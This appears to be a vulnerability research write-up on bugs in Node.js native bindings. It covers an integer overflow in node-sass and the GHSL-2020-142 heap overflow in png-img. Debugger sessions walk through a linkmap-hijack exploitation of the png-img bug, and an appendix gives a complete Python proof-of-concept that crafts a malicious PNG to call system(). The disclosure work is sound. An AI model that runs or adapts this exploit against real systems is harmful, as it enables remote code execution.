Foreign bindings as an attack surface
When a memory-safe interpreted language meets a C/C++ library through a Foreign Function Interface (FFI), the binding code that translates objects between the two languages becomes a critical piece of the security puzzle. Even when the higher-level language guarantees memory safety, and when the underlying native library has been heavily scrutinized, the glue code can introduce bugs that neither side would exhibit on its own.
Two vulnerabilities in Node.js packages — one in node-sass and one in png-img — illustrate how similar-looking flaws can have very different security implications. Comparing them also offers a window into how an attacker evaluates whether a bug is worth pursuing.
Case study: node-sass
Node-sass provides Node.js bindings to LibSass, a C implementation of the Sass stylesheet preprocessor. Though recently deprecated, the package still sees over 5 million downloads per week.
The bindings contain an integer overflow pattern in the way they handle indentation configuration. A user-supplied 32-bit integer controls a memory allocation. If that value can be -1, the arithmetic expression indent_len + 1 evaluates to 0, causing an under-allocation. The original negative value is then handed to a std::string constructor, which expects an unsigned size_t length parameter — the negative value becomes a very large positive number.
At the JavaScript API level, the intent is to constrain indentWidth to a range between 2 and 10. However, only the upper bound is actually enforced, and parseInt happily accepts negative input. Supplying a negative value triggers the integer wrap, producing an under-allocation with potential memory corruption.
The fix would be straightforward: validate both the lower and upper bounds of user-supplied indentWidth values before passing them to the lower-level binding. Sanity-checking inputs and explicitly limiting value ranges to what makes sense for program logic is a solid defensive programming habit.
Why this is just a bug
Despite the textbook integer overflow and heap under-allocation pattern, this flaw does not rise to the level of a vulnerability. Three factors work against an attacker:
- Triggering the bug requires influencing stylesheet input to the node-sass bindings, which is unlikely to be attacker-controlled in any realistic deployment.
- The overwrite primitive is extremely limited — the attacker can only write tab or space characters, with no control over content and only indirect control over the amount written (derived from the wrapped length value).
- A
std::stringexception occurs before any heap corruption takes place, further limiting the practical window for exploitation.
Even in scenarios where very limited heap corruption suffices, attackers generally seek some control over what the memory is corrupted with, or at minimum how much memory gets overwritten. Here, neither condition holds meaningfully.
A useful exploitability "smell test" can be applied to any bug:
- How does the attacker trigger the bug?
- What data does the attacker control, and to what extent?
- Which algorithms are influenced by that attacker control?
Exploitability ultimately depends on attacker goals, experience, and resources — factors that are hard to assess from the defender's side. This is especially true for library code consumed by other software, where a bug that looks benign in isolation may become a vulnerability in a larger system. Any bug triggerable by user-controlled input or influence should be treated as a potential vulnerability when resources permit.
Case study: png-img
GHSL-2020-142 is a different story. This bug lives in the Node.js png-img package, which provides bindings to libpng. When loading a PNG for processing, the bindings call PngImg::InitStorage to allocate initial memory for the image data.
The allocation size comes from a multiplication of two png_uint_32 values: info_.height (which can be directly supplied from the PNG file as a 32-bit integer) and info_.rowbytes (derived from PNG data). Both values are fully or partially attacker-controlled.
An integer wrap in this multiplication produces a severe under-allocation. For example, setting info_.height to 0x01000001 and info_.rowbytes to 0x100 yields:
(0x01000001 * 0x100) & 0xffffffff = 0x100
The resulting data_ array is allocated at just 0x100 bytes. The rowPtrs_ array is then populated with row-data pointers that point outside the bounds of this region, because the loop condition uses the original, unwrapped info_.height value. When actual row data is read from the PNG file, adjacent heap memory can be overwritten with attacker-controlled content.
Critically, the attacker can halt the overwrite early by simply omitting row data from the PNG itself. Libpng's error routines then kick in, but any error-handling logic that touches the corrupted heap runs afterward — making this a highly controlled overflow in terms of both content and size.
Exploitability analysis
Applying the three-question test shows why this bug is a vulnerability, not just a defect:
How does the attacker trigger the bug? A malicious PNG file does the job. The attacker fully controls the file format fields that flow into the vulnerable computations, subject only to file format sanity checks. A single self-contained PNG file must carry all exploitation logic, which limits opportunities for repeated interaction with the Node.js process — for example, leaks that could bypass ASLR. That said, this depends on how the package is actually deployed; repeatable triggering may be possible in some use cases.
What data does the attacker control? The height and rowbytes values give granular control over the integer wrap and the final allocation size. The PNG's row data provides fully controlled content for the out-of-bounds writes, and early termination of row data gives precise control over how much gets written. In short: near-complete control over what lands in adjacent heap memory and how far the corruption extends.
Which algorithms are influenced? Because this is a heap overflow, anything that operates on the corrupted region becomes a target — Node.js interpreter internals, system library code, the bindings themselves, and any associated code that touches the data afterward.
What separates these two cases is the attacker's level of influence. In node-sass, the input is unlikely to be attacker-controlled and the corruption primitive is nearly useless. In png-img, the attacker supplies the file that triggers the bug, controls both the allocation size and the overwrite content, and can fine-tune the length of the overflow. That combination makes the second bug an attractive exploitation candidate, even though both share the same underlying integer-wrap pattern.
From Corruption to Code Execution
With the vulnerability confirmed, the next step is determining whether the heap overflow in png-img can be turned into something more impactful than a crash. Exploitability hinges on what we control and how the surrounding code and operating environment treat that control.
Our target scenario is deliberately minimal: a single JavaScript file that requires png-img and uses it to load an attacker-supplied PNG. This affords us exactly one shot at exploitation — no repeated interaction, no infoleaks, no way to probe the target's memory layout dynamically. We must rely on static assumptions about where things live in memory at the moment our corruption triggers.
Assessing the memory landscape
First, we need to understand what mitigations apply to the node binary we're targeting. Using GEF's checksec:
Reading symbols from /usr/bin/node...done.
gef➤ checksec
[+] checksec for '/usr/bin/node'
Canary : ✓
NX : ✓
PIE : ✘
Fortify : ✘
RelRO : Full
gef➤
The target node binary is not a Position Independent Executable (PIE). This is significant: the .text and .data sections of a non-PIE executable occupy predictable addresses on every run of that specific binary on the same platform. Had node been compiled as a PIE, Address Space Layout Randomization (ASLR) would extend to the executable itself, and a blind, single-shot exploitation attempt would be substantially harder.
Without GEF, you can use the file command to make the same determination. PIE binaries are ELF executables of type ET_DYN and report as shared libraries, whereas non-PIE binaries are type ET_EXEC:
anticomputer@dc1:~$ file /bin/bash
/bin/bash: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=12f73d7a8e226c663034529c8dd20efec22dde54, stripped
anticomputer@dc1:~$ file /usr/bin/node
/usr/bin/node: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.18, BuildID[sha1]=ee756495e98cf6163ba85e13b656883fe0066062, with debug_info, not stripped
Defining attack targets
With a clear picture of the execution environment, we can consider which code paths operating on corrupted heap memory offer the most promising avenue for exploitation:
- png-img and libpng logic directly processing the corrupted heap
- Node.js interpreter logic
- System libraries
Which route we choose largely depends on effort and desired reliability. For a proof-of-concept, the most convenient path wins. To identify that path, we need to observe the bug in action and craft a trigger.
A controlled trigger
To trigger the integer overwrap in png-img's allocation of data_, we need a valid PNG whose dimensions cause the wrap. The image width directly controls the rowbytes value through libpng's PNG_ROWBYTES macro. Assuming 8-bit pixels, a width of 16 pixels yields 16 rowbytes. The height controls how many times the vulnerable code writes row data into undersized heap memory.
One critical detail emerged while studying libpng's chunk handling: the png_ptr structure — a heap-based libpng data structure — contains function pointers that get invoked on error conditions. Specifically, when libpng encounters an error, it calls the error_fn pointer stored in png_ptr:
PNG_FUNCTION(void,PNGAPI
png_error,(png_const_structrp png_ptr, png_const_charp error_message),
PNG_NORETURN)
{
…
[1]
if (png_ptr != NULL && png_ptr->error_fn != NULL)
(*(png_ptr->error_fn))(png_constcast(png_structrp,png_ptr),
error_message);
/* If the custom handler doesn't exist, or if it returns,
use the default handler, which will not return. */
png_default_error(png_ptr, error_message);
}
Corrupting png_ptr and triggering an error would give us function pointer control — but only if we can position our overflow to hit that structure. This is an example of attacking application-specific heap data.
We can mock up a triggering PNG using Python's Pillow library:
from PIL import Image
import os
import struct
import sys
import zlib
def patch(path, offset, data):
f = open(path, 'r+b')
f.seek(offset)
f.write(data)
f.close()
trigger = 'trigger.png'
row_data = b'A' * 0x100000
width = 0x100
height = int(len(row_data)/width)
# create a template PNG with a valid height for our row_data
im = Image.frombytes("L", (width, height), row_data)
im.save(trigger, "PNG")
# patch in a wrapping size to trigger overwrap and underallocation
patch(trigger, 20, struct.pack('>L', 0x01000001))
# fix up the IHDR CRC so png_read_info doesn't freak out
f = open(trigger, 'rb')
f.seek(16)
ihdr_data = f.read(13)
f.close()
crc = zlib.crc32(ihdr_data, zlib.crc32(b'IHDR') & 0xffffffff) & 0xffffffff
patch(trigger, 29, struct.pack('>L', crc))
Loading this PNG with png-img produces a crash:
(gdb) r pngimg.js
Starting program: /usr/bin/node pngimg.js
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[New Thread 0x7ffff6a79700 (LWP 60942)]
[New Thread 0x7ffff6278700 (LWP 60943)]
[New Thread 0x7ffff5a77700 (LWP 60944)]
[New Thread 0x7ffff5276700 (LWP 60945)]
[New Thread 0x7ffff4a75700 (LWP 60946)]
[New Thread 0x7ffff7ff6700 (LWP 60947)]
Thread 1 "node" received signal SIGSEGV, Segmentation fault.
0x00007ffff7de4e52 in _dl_fixup (l=0x271f0a0, reloc_arg=285) at ../elf/dl-runtime.c:69
69 ../elf/dl-runtime.c: No such file or directory.
(gdb) x/i$pc
=> 0x7ffff7de4e52 <_dl_fixup+18>: mov 0x8(%rax),%rdi
(gdb) bt
#0 0x00007ffff7de4e52 in _dl_fixup (l=0x271f0a0, reloc_arg=285) at ../elf/dl-runtime.c:69
#1 0x00007ffff7dec81a in _dl_runtime_resolve_xsavec () at ../sysdeps/x86_64/dl-trampoline.h:125
#2 0x00007ffff4032e63 in png_read_row () from /home/anticomputer/node_modules/png-img/build/Release/png_img.node
#3 0x00007ffff4034899 in png_read_image ()
from /home/anticomputer/node_modules/png-img/build/Release/png_img.node
#4 0x00007ffff40246d8 in PngImg::PngImg(char const*, unsigned long) ()
from /home/anticomputer/node_modules/png-img/build/Release/png_img.node
#5 0x00007ffff401e8fa in PngImgAdapter::New(Nan::FunctionCallbackInfo<v8::Value> const&) ()
from /home/anticomputer/node_modules/png-img/build/Release/png_img.node
#6 0x00007ffff401e56f in Nan:👿 :FunctionCallbackWrapper ()
from /home/anticomputer/node_modules/png-img/build/Release/png_img.node
...
(gdb) i r rax
rax 0x4141414141414141 4702111234474983745
(gdb)
The crash occurs in _dl_fixup — the dynamic linker's runtime resolver — operating on heap memory we overwrote with our row data (0x41 bytes). The last libpng function called was png_read_row, which on exhausting its row data attempts to call png_error. Instead of landing in png_error, execution crashes in the resolver. Why?
Setting a breakpoint on png_error@plt reveals what's happening:
(gdb) break png_error@plt
Breakpoint 1 at 0x7ffff401d980
(gdb) r pngimg.js
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /usr/bin/node pngimg.js
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[New Thread 0x7ffff6a79700 (LWP 60976)]
[New Thread 0x7ffff6278700 (LWP 60977)]
[New Thread 0x7ffff5a77700 (LWP 60978)]
[New Thread 0x7ffff5276700 (LWP 60979)]
[New Thread 0x7ffff4a75700 (LWP 60980)]
[New Thread 0x7ffff7ff6700 (LWP 60981)]
Thread 1 "node" hit Breakpoint 1, 0x00007ffff401d980 in png_error@plt ()
from /home/anticomputer/node_modules/png-img/build/Release/png_img.node
(gdb) bt
#0 0x00007ffff401d980 in png_error@plt ()
from /home/anticomputer/node_modules/png-img/build/Release/png_img.node
#1 0x00007ffff4032e63 in png_read_row () from /home/anticomputer/node_modules/png-img/build/Release/png_img.node
…
(gdb) x/s $rsi
0x7ffff4066820: "Invalid attempt to read row data"
(gdb) x/16x $rdi
0x271f580: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x271f588: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
(gdb)
We are indeed calling png_error with our controlled png_ptr data as the first argument. But this is the first invocation of png_error, and due to lazy linking, the function has not yet been resolved. The PLT stub for png_error jumps through its GOT slot straight back into PLT code that invokes the dynamic linker's resolver. The heap corruption has already overwritten the linkmap — the data structure the resolver needs to perform its fixup — so the resolver crashes instead of completing the symbol resolution.
This reveals a crucial stack of facts:
- Our base node binary is non-PIE but has full RELRO enabled.
- The png-img library, being lazily linked, has only partial RELRO — its GOT is writable at runtime because its symbols resolve on first use.
- Our heap overflow has corrupted both the linkmap that the resolver operates on and the
png_ptrstructure passed topng_error.
Two exploitation routes emerge: either reposition the overflow to cleanly corrupt png_ptr function pointers, or subvert the dynamic linker's resolver itself.
Heap geometry and the luring target
The vulnerable allocation code allows us to set data_ to any multiple of rowbytes via the 32-bit integer overwrap on height * rowbytes:
void PngImg::InitStorage_() {
rowPtrs_.resize(info_.height, nullptr);
[1]
data_ = new png_byte[info_.height * info_.rowbytes];
[2]
for(size_t i = 0; i < info_.height; ++i) {
rowPtrs_[i] = data_ + i * info_.rowbytes;
}
}
This granularity lets us park the data_ chunk at varying distances from other heap objects. Examining the heap layout shows the png_ptr chunk (size 0x530) and the linkmap chunk (size 0x4e0) are adjacent in contiguous memory, with the linkmap directly preceding png_ptr:
gef➤ heap chunk 0x2722a10
Chunk(addr=0x2722a10, size=0x4e0, flags=PREV_INUSE)
Chunk size: 1248 (0x4e0)
Usable size: 1240 (0x4d8)
Previous chunk size: 39612548531313 (0x240703e24471)
PREV_INUSE flag: On
IS_MMAPPED flag: Off
NON_MAIN_ARENA flag: Off
gef➤ p *l
$7 = {
l_addr = 0x7ffff400f000,
l_name = 0x2718010 "/home/anticomputer/node_modules/png-img/build/Release/png_img.node",
l_ld = 0x7ffff4271c40,
l_next = 0x0,
l_prev = 0x7ffff7ffd9f0 <_rtld_global+2448>,
l_real = 0x2722a10,
l_ns = 0x0,
l_libname = 0x2722e88,
l_info = {0x0, 0x7ffff4271c70, 0x7ffff4271d50, 0x7ffff4271d40, 0x0, 0x7ffff4271d00, 0x7ffff4271d10, 0x7ffff4271d80, 0x7ffff4271d90, 0x7ffff4271da0, 0x7ffff4271d20, 0x7ffff4271d30, 0x7ffff4271c90, 0x7ffff4271ca0, 0x7ffff4271c80, 0x0, 0x0, 0x0, 0x0, 0x0, 0x7ffff4271d60, 0x0, 0x0, 0x7ffff4271d70, 0x0, 0x7ffff4271cb0, 0x7ffff4271cd0, 0x7ffff4271cc0, 0x7ffff4271ce0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x7ffff4271dc0, 0x7ffff4271db0, 0x0, 0x0, 0x0, 0x0, 0x7ffff4271de0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x7ffff4271dd0, 0x0 <repeats 25 times>, 0x7ffff4271cf0},
...
}
gef➤
Both allocations are active and unchangeable before our corruption triggers, so squeezing a controlled chunk between them is unreliable. That tips the scales toward attacking the linkmap.
What the resolver actually does
The dynamic linker's _dl_fixup logic, given a linkmap and a relocation index, resolves a function address by adding two values together, writes the result to a relocation target, and jumps to it. The function address is the sum of:
l_addr— the linkmap's base address field for the loaded librarysym->st_value— pulled from the symbol table
The relocation target is l_addr + reloc->r_offset. The resolver obtains the symbol table, string table, and relocation records by dereferencing pointers from the linkmap's l_info array. That array holds pointers to the .dynamic entries, and each .dynamic entry at offset +8 stores the actual section pointer.
As attackers, we can provide fully crafted data for all of these. The constraints:
- We do not control the
reloc_arg(forpng_errorit's hardcoded to 285 via PLT arguments). - We don't know the heap base due to ASLR, so we can't craft data at a known heap address.
The non-PIE node binary, however, provides a static anchor. Its .data section lives at a predictable address and contains pointers into the heap during runtime. After we overwrite enough heap memory, some of those pointers will reference our controlled data. We can locate entries in node's .data that effectively act as .dynamic entries pointing at attacker-controlled heap contents:
- One
.datalocation which at +8 contains a heap pointer into our controlled fake relocation record at offset 285 × 24. - Another
.datalocation which at +8 contains a pointer to node's.gotsection, establishing a fake symbol table.
Because node's GOT is full of resolved libc pointers, we can select a GOT entry whose stored value acts as a symbol's st_value — an existing libc address. By setting our corrupted linkmap's l_addr to the difference between that source pointer and a target libc function, the resolver adds them and redirects execution to an arbitrary libc address.
Through GDB scripting, we found a usable .data location at 0x265b9e0 whose heap pointer at offset 285 × 24 lands in controlled data:
gef➤ set $c=(unsigned long long *)0x264c000
gef➤
gef➤ set $done=1
gef➤ while ($done)
>if ((*$c&0xffffffffffff0000)==0x02720000)
>set $done=0
>end
>set $c=$c+1
>end
gef➤ p/x $c
$551 = 0x26598c8
gef➤ x/3gx (*($c-1))+285*24
0x2726508: 0x00007fff00000013 0x0000000000000000
0x2726518: 0x0000000000000021
gef➤ set $done=1
gef➤ while ($done)
>if ((*$c&0xffffffffffff0000)==0x02720000)
>set $done=0
>end
>set $c=$c+1
>end
gef➤ p/x $c
$552 = 0x265b9e8
gef➤ x/3gx (*($c-1))+285*24
0x2722f10: 0x4141414141414141 0x4141414141414141
0x2722f20: 0x4141414141414141
gef➤ x/x 0x265b9e0
0x265b9e0 <_ZN4node9inspector12_GLOBAL__N_1L21start_io_thread_asyncE+32>: 0x0000000002721458
gef➤
We also located a node binary reference at +8 containing a pointer to node's .got:
objdump -h:
25 .got 00000fc8 000000000264d038 000000000264d038 0204d038 2**3
(gdb) set $p=(unsigned long long *)0x400000 # search from node .text base upwards
(gdb) while (*$p!=0x000000000264d038)
>set $p=$p+1
>end
(gdb) x/x $p
0x244cf20: 0x000000000264d038
(gdb)
On the test platform, node's GOT entry for getsockopt serves as the source libc pointer. The preceding GOT entry's st_other field fails the visibility check that would route us into more complex resolver logic, while our chosen getsockopt value becomes the Symbol's st_value. The delta between libc's getsockopt and system provides the value for our crafted l_addr. A fake relocation record supplies the symbol index and points the final relocation write to a safe writable location.
Executing the plan
For the exploit to work, we need a suitable free chunk to park our data_ allocation in, one that sits a sufficient distance ahead of the linkmap so that our overflow can corrupt the linkmap and png_ptr without destabilizing everything else:
─────────────────────────────────────── Unsorted Bin for arena 'main_arena' ───────────────────────────────────────[+] unsorted_bins[0]: fw=0x271f0b0, bk=0x272c610
→ Chunk(addr=0x271f0c0, size=0x2010, flags=PREV_INUSE) → Chunk(addr=0x2722ef0, size=0x1b30, flags=PREV_INUSE) → Chunk(addr=0x2717400, size=0x430, flags=PREV_INUSE) → Chunk(addr=0x272c620, size=0x4450, flags=PREV_INUSE)
[+] Found 4 chunks in unsorted bin.
Found a free chunk of size 0x2010 in the unsorted bin at offset 0x3950 from the linkmap. We set data_ size to 0x2010 (using a width of 16 for clean 16-byte writes) and bake all the necessary address deltas and pointer offsets into a generated PNG:
λ ~ › python3 x_trigger.py
λ ~ › file trigger.png
trigger.png: PNG image data, 16 x 268435968, 8-bit grayscale, non-interlaced
λ ~ › scp trigger.png anticomputer@builder:~/
trigger.png 100% 1024 1.7MB/s 00:00
λ ~ ›
Testing under a debugger with a breakpoint on system confirms our redirection works:
gef➤ r ~/pngimg.js
...
[#0] 0x7ffff6ac6fc0 → do_system(line=0x2722ef0 "touch /tmp/itworked #", 'P' <repeats 11 times>, "\340\"r\002")
[#1] 0x7ffff4030e63 → png_read_row()
[#2] 0x7ffff4032899 → png_read_image()
[#3] 0x7ffff40226d8 → PngImg::PngImg(char const*, unsigned long)()
[#4] 0x7ffff401c8fa → PngImgAdapter::New(Nan::FunctionCallbackInfo<v8::Value> const&)()
[#5] 0x7ffff401c56f → _ZN3Nan3impL23FunctionCallbackWrapperERKN2v820FunctionCallbackInfoINS1_5ValueEEE()
[#6] 0xb9041b → v8::internal::MaybeHandle<v8::internal::Object> v8::internal::(anonymous namespace)::HandleApiCallHelper<true>(v8::internal::Isolate*, v8::internal::Handle<v8::internal::HeapObject>, v8::internal::Handle<v8::internal::HeapObject>, v8::internal::Handle<v8::internal::FunctionTemplateInfo>, v8::internal::Handle<v8::internal::Object>, v8::internal::BuiltinArguments)()
[#7] 0xb9277d → v8::internal::Builtins::InvokeApiFunction(v8::internal::Isolate*, bool, v8::internal::Handle<v8::internal::HeapObject>, v8::internal::Handle<v8::internal::Object>, int, v8::internal::Handle<v8::internal::Object>*, v8::internal::Handle<v8::internal::HeapObject>)()
[#8] 0xea2cc1 → v8::internal::Execution::New(v8::internal::Isolate*, v8::internal::Handle<v8::internal::Object>, v8::internal::Handle<v8::internal::Object>, int, v8::internal::Handle<v8::internal::Object>*)()
[#9] 0xb28ed6 → v8::Function::NewInstanceWithSideEffectType(v8::Local<v8::Context>, int, v8::Local<v8::Value>*, v8::SideEffectType) const()
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────
Thread 1 "node" hit Breakpoint 1, do_system (line=0x2722ef0 "touch /tmp/itworked #", 'P' <repeats 11 times>, "\340\"r\002") at ../sysdeps/posix/system.c:56
56 {
gef➤ p "success!"
$1 = "success!"
gef➤
Running the exploit without the debugger attached executes our command successfully — touch /tmp/itworked — before the node process crashes from the collateral heap corruption:
anticomputer@dc1:~/glibc/glibc-2.27/elf$ rm /tmp/itworked
anticomputer@dc1:~/glibc/glibc-2.27/elf$ /usr/bin/node ~/pngimg.js
Segmentation fault (core dumped)
anticomputer@dc1:~/glibc/glibc-2.27/elf$ ls -alrt /tmp/itworked
-rw-rw-r-- 1 anticomputer anticomputer 0 Nov 23 20:53 /tmp/itworked
anticomputer@dc1:~/glibc/glibc-2.27/elf$
Mission accomplished. This proof-of-concept demonstrates that the png-img heap overflow, while constrained to a single shot in a blind scenario, can yield arbitrary command execution. Reliability in real-world conditions remains a challenge given its dependence on a non-PIE node binary and predictable heap geometry, but the impact assessment is clear: a malicious PNG can fully compromise a process that loads it.
From Bug to Break: What the Walkthrough Actually Shows
The series walked through the full lifecycle of a memory safety issue in an FFI binding—from the initial bug in the native code to a working exploit against a Node.js application. The focus stayed squarely on flaws introduced in the bindings themselves, not in the interpreted language runtime or its standard library. That distinction matters: it highlights a growing class of vulnerabilities where the glue code between languages becomes the weakest link.
What the demonstration made concrete is how an attacker assesses whether a seemingly minor bug in a binding can be turned into something exploitable. The process is not a single clever leap. It is a methodical evaluation of memory layout, reachable code paths, and the constraints imposed by the runtime. Each step—controlling input, corrupting memory, redirecting control flow—depends on the specifics of the binding’s implementation and the environment around it.
The broader lesson is for developers building or maintaining FFI layers. Memory safety is not automatically guaranteed because the high-level language handles its own memory. The native side still operates under C rules, and any mistake there becomes part of your application’s attack surface. The series showed that these bugs are not theoretical; they are reachable and exploitable in real-world configurations.
Appendix A – png-img Proof-of-Concept Exploit
The complete proof-of-concept exploit used in the walkthrough is reproduced below. It follows the techniques described in the series and targets the specific png-img vulnerability.
# PoC exploit for GHSL-2020-142, linkmap hijack demo
"""
anticomputer@dc1:~/glibc/glibc-2.27/elf$ uname -a
Linux dc1 4.15.0-122-generic #124-Ubuntu SMP Thu Oct 15 13:03:05 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
anticomputer@dc1:~/glibc/glibc-2.27/elf$ node -v
v10.22.0
anticomputer@dc1:~/glibc/glibc-2.27/elf$ npm list png-img
/home/anticomputer
└── [email protected]
anticomputer@dc1:~/glibc/glibc-2.27/elf$ cat /etc/lsb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=18.04
DISTRIB_CODENAME=bionic
DISTRIB_DESCRIPTION="Ubuntu 18.04.4 LTS"
"""
from PIL import Image
import os
import struct
import sys
import zlib
def patch(path, offset, data):
f = open(path, 'r+b')
f.seek(offset)
f.write(data)
f.close()
# libc binary info
libc_system_off = 0x000000000004f550
libc_getsockopt_off = 0x0000000000122830
libc_delta = (libc_system_off - libc_getsockopt_off) & 0xffffffffffffffff
# node binary info
node_getsockopt_got = 0x00000264d8f8
node_got_section_start = 0x000000000264d038
node_safe_ptr = 0x000000000264e000 + 0x1000
# calculate what our reloc index should be to align getsockopt as sym->st_value
node_reloc_index_wanted = int((node_getsockopt_got-node_got_section_start)/8) - 1
if node_reloc_index_wanted % 3:
print("[x] node .got entry not aligned to reloc record size ...")
sys.exit(0)
node_reloc_index = int(node_reloc_index_wanted/3)
# our l_info['DT_SYMTAB'] entry is pointer that at +8 has a pointer to node's got section
dt_symtab_p = 0x244cf20-8
# our l_info['DT_JMPREL'] entry is a pointer that at +8 has a heap pointer to our fake reloc records
dt_jmprel_p = 0x265b9e0-8
# our l_info['DT_STRTAB'] entry is just some valid pointer since we skip string lookups
dt_symtab_p = dt_symtab_p
# build our heap overwrite
trigger = 'trigger.png'
heap_rewrite = b''
# pixel bits is 8, set rowbytes to 16 via width
width = 0x10
heap_data_to_linkmap_off = 0x3950-0x10 # offset from data_ chunk to linkmap chunk
heap_data_chunk_size = 0x2010 # needs to be aligned on width
heap_linkmap_chunk_size = 0x4e0
# spray fake reloc records up until linkmap chunk data
fake_reloc_record = b''
fake_reloc_record += struct.pack('<Q', (node_safe_ptr - libc_delta) & 0xffffffffffffffff) # r_offset
fake_reloc_record += struct.pack('<Q', (node_reloc_index<<32) | 7) # r_info, type: ELF_MACHINE_JMP_SLOT
fake_reloc_record += struct.pack('<Q', 0xdeadc0dedeadc0de) # r_addend
reloc_record_spray = b''
reloc_align = b''
reloc_record_spray += reloc_align
reloc_record_spray += fake_reloc_record * int((heap_data_to_linkmap_off-len(reloc_align))/24)
reloc_record_spray += b'P' * (heap_data_to_linkmap_off-len(reloc_record_spray))
heap_rewrite += reloc_record_spray
# linkmap chunk overwrite
fake_linkmap = b''
# linkmap chunk header
fake_linkmap += struct.pack('<Q', 0x4141414141414141)
fake_linkmap += struct.pack('<Q', 0x4141414141414141) # keep PREV_INUSE
# start of linkmap data
fake_linkmap += struct.pack('<Q', libc_delta) # l->l_addr
fake_linkmap += struct.pack('<Q', 0xdeadc1dedeadc0de) * 12 # pad
fake_linkmap += struct.pack('<Q', dt_symtab_p) # l->l_info[5] DT_STRTAB
fake_linkmap += struct.pack('<Q', dt_symtab_p) # l->l_info[6] DT_SYMTAB
fake_linkmap += struct.pack('<Q', 0xdeadc2dedeadc0de) * 16 # pad
fake_linkmap += struct.pack('<Q', dt_jmprel_p) # l->l_info[23] DT_JMPREL
# pad up until png_ptr chunk
fake_linkmap += b'P' * (heap_linkmap_chunk_size-len(fake_linkmap))
heap_rewrite += fake_linkmap
# png_ptr chunk overwrite, this is where we pack our argument to system(3)
cmd = b'touch /tmp/itworked #'
png_ptr = b''
# png_ptr chunk header
png_ptr += struct.pack('<Q', 0x4141414141414141)
png_ptr += struct.pack('<Q', 0x4141414141414141) # keep PREV_INUSE
# start of png_ptr data
png_ptr += cmd
# align on 8
png_ptr += b'P' * (8 - (len(png_ptr) % 8))
# postpend with another reloc record spray just to up our chances
png_ptr += b'P' * 8 # align records here
png_ptr += fake_reloc_record * 16
heap_rewrite += png_ptr
# create a template PNG with a valid height for our row_data
row_data = heap_rewrite + b'P' * (width-(len(heap_rewrite)%width)) # align row data to row width
#row_data = 0x20000 * b'A'
im = Image.frombytes("L", (width, int(len(row_data)/width)), row_data)
im.save(trigger, "PNG")
# patch in a wrapping size to trigger overwrap and underallocation to desired data chunk size
patch(trigger, 20,
struct.pack('>L',
(int((0xffffffff/width))+1) +
int((heap_data_chunk_size-0x10)/width))) # minus chunk header
# fix up the IHDR CRC so png_read_info doesn't freak out
f = open(trigger, 'rb')
f.seek(16)
ihdr_data = f.read(13)
f.close()
crc = zlib.crc32(ihdr_data, zlib.crc32(b'IHDR') & 0xffffffff) & 0xffffffff
patch(trigger, 29, struct.pack('>L', crc))
# for playing with the early file allocation itself
f = open(trigger, 'ab')
f_size = os.path.getsize(trigger)
f_size_wanted = 1024
f.write(b'P'* (f_size_wanted - f_size))
f.close()



